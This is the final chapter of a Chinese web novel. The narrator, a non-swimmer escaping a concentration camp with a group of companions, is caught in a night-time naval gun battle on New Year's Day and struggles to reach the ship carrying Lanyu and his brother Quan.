狂跟魉真的是按魅说的侧著身子爬出山洞的,这个姿势使他们是看著我们爬出来的。

其实狂跟魉的身材真是一极棒,绝对是那种走在街上可以吸引男女老少的眼球,但在这个洞面前,这个身材就是累赘了。

相反魅、魑两人,虽然个头也上180了,但因为身材偏纤细,这个洞还是难不倒他们。

太好笑了,你们两个太滑稽了。魅笑得都在那捂肚子了。

好久不见了,魉,真是很有意思的见面。很是平静的声音,很是熟悉,而我诧异的是为什麽我会记得这麽牢。

那是泉的声音,蓝虞的二哥。

我们现在站的地方是岩石,下面便是汹涌澎湃的大海,而在不远处停著一艘大船,之前我钻出头时还未发现,应该是刚刚开过来的吧。刚刚在里面时,涨潮声听得并不很清楚,这回出来了,才算真正看到这潮涨得多凶猛。一浪高过一浪地打在岩石上,站在最上面的我们,很快就把那海水给弄湿了衣服,再加上这夜晚的海风,我已经抱住胳膊了。

泉叫住魉时,魉正从那洞里艰难地爬出来,站起来拍著身上尘土的他,脸色还算正常,未有尴尬之类的神色,只是挑了下眉眼,看著泉。

泉站在我们不远处,朝前伸手,那双手上正戴著一双黑色的手套。

二哥。跑上前,蓝虞抓住泉的手,站到他的後面。

摸摸蓝虞的头,泉低头在蓝虞耳边说道,马上就让你自由。那动作极为亲密。

说完,泉转向身後的手下,带蓝虞少爷下去。

蓝虞。眼看蓝虞就要走了,我忍不住叫他。

回过头看向我,已经走了几步的蓝虞跑到我身边,伶。。。他回头看泉,二哥,能不能把伶也带上船。

还未听到泉的回答,远处几艘急驶过来的船,把大家的注意力都转移过去了。

被发现了。魉走过来,回头朝我们几人说道,这场打完了,我们才算真正出来了。

被你利用了。不过,也知道咯。魅拨开额前的头发。

互利,不是吗?魉看了我们一眼,便把我旁边的蓝虞提起直接扔到对面的泉身上,泉,这算是我给你的额外优惠,好好感谢我吧。说完他已经冲向船那边了。

我们几个人赶紧跟在魉身边,踏上脚板就跳上船。

再回头,泉已经带著蓝虞跳上另一艘船了。

泉带来的船不止一艘,但还是比对方少了。

你们这些叛徒。双方的船虽然有一定距离,但还是能听到对方船上的声音,想来讲话的人用了扩音器。妄想逃跑,就别怪我们心狠手辣了。

叛徒?我看了我们船上的这几人,再看向旁边船上的泉。

这些人是叛徒吗?

切!这些老不死。狂咒駡一声,走到原先就在船上的人,有重型大炮吗?

有,在这里,跟我来。那人带著狂离开了甲板。

伶,你也进去吧。魑推了我一把,示意我跟狂下去。

可是。。。我看看他们,又抬头看看对面船上的两人,我就站在这里吧。

不想死的话,就下去,嗯。魑伸手在我脸上擦了一下,从他拿下的手指,我看见上面的泥土,应该是刚才爬的时候沾上去。

嗯。点头道,我不想死,所以我只能离开。

离开的不止我,还有痴。从刚刚的战斗中,就已经看出痴并不擅长枪战,他更适合近身搏斗。

来到船舱中央,便看到狂坐在机器前,应该就是他说的大炮操作器了。见我们进来,狂指了一旁的铁制椅说道,你们两个自己注意点,到时要扶好。

狂,有我可以做的吗?痴走到狂面前。

你跟伶一起在那休息。

我想上去帮魑。

你能下水吗?狂瞟了他一眼,便把他推开了,开始了。

我要不是不会游泳。痴嘀咕一声,但还是坐到我旁边来。

虽然是坐在船舱里,但因为狂操作的机器前有个巨大的屏幕,所以能看到外面的情况。

火光怒吼的海面,失去了以往令人心旷神怡的美丽,只馀血腥充斥。

妈的。狂咒駡著,对方的船比我们多,武器又不比我们差,这使得我们很快就陷入困境了。

从机器前离开,狂对一直站在他旁边的男人说道,你来控制。

狂,你也要下水吗?痴猛地从椅子上站起来。

这麽多艘船,就算一艘偷袭成功,也没用。这个泉,只派这麽多人吗?狂皱皱眉头便离开了。

哥哥,你要小心。痴对著狂的背影喊道。

船舱里只剩下我跟痴,还有原先就呆在里面的人员。

啊。忽然船舱猛地摇晃起来,还坐在椅子上的我跟痴一时没防备,整个人狠狠摔在地上。

船底进水了。操作台上一人喊道。

还可以支持多久。另一人问道。

再被打开一个洞的线分钟都坚持不了。

那我们不是都会死!痴的声音猛地拔高了。

其中一人大概对痴的高分贝有些反感,语气不是很和善地说道,怕死,你可以出去啊。

被这麽一激的痴当场就跑出去了。

痴。已经从地上爬起来的我,来回看著,最後跟著痴跑出去了。

刚刚是通过大屏幕观看外面的战况,这会是直接面对。大海被火光笼罩住,几乎要把耳朵震聋的枪炮声,让我有个错觉,这场战争不是所谓的解决叛徒战争,更像是两个国家的战争。被打落海面的子弹激起的水柱,喷洒了躲在边缘处的我一身。

从头至下被淋湿一身让我狠狠打了个冷战,现在可是冬天啊。打了几个喷嚏,才记起今天是元旦。在海的另一端,已经升起的新年光芒,不知能否照到此时的血腥大海。

第一九八章

跑到痴的旁边,我把他拉住,痴,去下面,在这里会死的。

不用你管,丑八怪。痴直站著,眼睛在海面上扫描著,想找出他哥哥和魑的身影,可怎麽能找到呢。一闪一闪的火花,早就被奔涌的海浪吞没。从这里往上看,只有一浪高过一浪的浪花。

你想死是不是。其实我完全可以不用去管他的,但一想到,大家都是那麽辛苦地从那个恐怖的集中营里出来,如果死在这里的话,不是很可惜吗?

可惜二字说来很淡调,但只有真正经历过的人才能明白这二字里的悲凉。

一如麒,一如生、衣,一如育。

死了就太不值得了。许是被我说服,痴不再大力反抗,半拖半拉地被我带进船舱。

但刚进船舱,那些人便对我们说道,这艘船要被舍弃了。

什麽?这会我也忍不住拔高音量了。

这艘船要当诱饵。说话的男人,扔过两个救生圈给我和痴。壬少爷的船已经从後面包围了他们。

怪不得,刚刚没看到壬,我心想。

切!把那救生圈往地上一扔,痴再次冲上甲板。

痴,等等我。那人说的话,已经把我弄慌了。我拿著救生圈尾随在痴後面。

跑到甲板上时,痴正要跳下船。

我真的是飞扑上去,急急地抓住他的脚。我不会游泳。

关我什麽事?神经质的声音地从他嘴里冷冷地传出,更是让我凉了一身。

救我,求你。我抱著最後的希望,现在能救我的人只有他了。我看著底下汹涌的大海,即使有这个救生圈,我跳下去必死无疑,我不想死。我的声音终於颤抖起来了,求你。

你死了我更开心,我干嘛要救你。他说著就要甩开我的手。

我当然不能让他甩开,用力一扯,竟然把我们当中力气最大的痴给扯到我身下了。我们都是从那里出来的。我看著已经离了很远的那个小山洞,看在这份上,救我。

不要。他依旧拒绝。

求你。我已经无路可走了,澎湃的海水声,这一刻听来,只馀恐怖。

魑都说了要把你带到身边,我怎麽可能救你。

我们都是从集中营出来的,你真忍心吗?你真的是这麽狠心的人吗?真的吗?猛地揪住他的领口,我大力摇晃起来。

枪声、炮声、浪声,是否把我的嘶吼掩盖住了,痴!你不能这麽狠心!

此时整艘船上,只有我跟他,那些人早就下水了。

别摇了。他一手抓住我的手,我带你下去就是了。

管他是一时慈悲,还是被我弄烦,在他答应带我下去时,我几乎虚脱,但很快就爬起来了。

痴已经跳下水了,他在下面喊道,快点跳下来,烦人的丑八怪。

我知道时间耽误不得了,快速地爬上跳下,整个人栽进海里,但很快痴就把我抓出水面。

你就在这里。痴带我上岸後便离开了,看著他的身影越来越淡,海浪已经越来越大了。我不懂什麽浪高几尺,我只知道我现在看到的是一个翻浪就可以把人狠狠地打进海底的大海,甚至把人的身体撕碎。不知他会不会出事,我赶紧摇头,大骂自己乌鸦嘴。他才不会出事的,他可是最强的疯子。

站起来,我寻找隐蔽的地方,周围都是岩石,离那个洞并不是很远。但现在整个海岸都已经是一个战场了,只要一颗子弹到这来,我死亡的几率还是很大。不过比在海里安全多了。

轰的崩裂声响起,我捂著耳朵探出脑袋,原来刚刚那艘船已经被打翻了。

有些碎沫溅到我旁边,啊。我闷哼一声,受到牵连的岩石不少破碎了,而其中最大一块整个砸向我的胳膊,把手伸进里面一摸,黏糊糊的感觉,那是血。就算流血了,也不会流这麽多啊。

我赶紧脱下衣服,查看自己的伤口,却因此把已经刺进胳膊的尖石更刺进胳膊了。咬著牙把那尖利的石块拔下,就著海上子弹枪炮摩擦的火光,我看见自己的胳膊全部淤青了。上臂的肌肉整个陷进去了,而那血正从伤口处挤出来,看那速度不用一会我的胳膊上就全是血了。

该死。脱下外套,用刀割出一大块布,把自己的上臂用力缠起来,只把那血嵌进布条里。

处理好伤口,我便开始移动,但我要往哪移动呢,不管走到哪里都会受到战火的波及。

也许找到蓝虞刚刚上的那艘船,我就安全了,我在心里暗下决定。

只是此时海上至少有10来艘船,又怎麽能轻易找到蓝虞上的那艘船呢。

拿起那些人递给我的救生圈,我套到身上。现在只有到蓝虞的那艘船上才算安全,想到这里,自己都觉得好玩,刚刚还叫痴把我带到岸上,这会我自己倒要下水。

坐在岩石上,我伸下腿。这一刻真的很恨自己不会游泳,明明有机会学的,我却白白浪费了。我的家乡是靠海的。

没见过猪走路,难道也没吃过猪肉吗?我胡乱找著理由为自己鼓劲。

眼一闭,我就跳下水。想著以前凌辰学游泳时在我耳边说的双腿打直。我屏著气,把慌张压下来,慢慢地倒前进了几步。这让我大为惊喜,继续小心翼翼地前进,只是我的速度实在是慢,不过,慢也更能找到目标。我在心里对自己安慰著。

战斗越来越激烈了,但已经看出战况完全倒向一边了,绝对是泉他们赢了。我向其中一艘看上去停靠位置最为安全的船游去,游近了,我马上就认出这艘船就是蓝虞乘上的船。

心中大喜,下一刻却只能睁大眼睛。

那艘船被攻击了!船身剧烈地摇动,好一会才停下来。却没有崩裂,看来没事。放心的下刻,又一轮攻击过来了。这回那艘船已经有准备了,进行了猛烈的回击。

而这一切,对我来说,只能是噩梦。

两艘船的攻击,把在不远处的我,高高地抛起。

一声巨响,我还来不及为自己的处境害怕,对面的几艘船忽然连锁反应地爆炸开了。

海浪已经够大了,而加入弹炮的攻击,本来离那几艘船很近的我,变得靠近他们。

我完蛋了,这样想的下刻,好象听到有人在说,我们成功了。

什麽成功了?我回头。

我从来不知道寒冷冬天的星空可以那麽漂亮,即使是在这血腥弥漫的大海上。

伸出双手,我想抓住遥远船上的那个人的双手。

肩上扛著一把枪的泉,侧著头瞄向远处的一点,带著黑色手套的手正扣著扳机。似乎受到这边情况的影响,他侧著的头转到我这边,虽然只有短短的一秒,但那双与此时情况极不符合的平静眼睛随著大海的沉浮尽落我的眼底。

他没有看到我。

————————————————(全文完)————————————————



上一篇洗浴中心的性事下一篇姦污皇后娘娘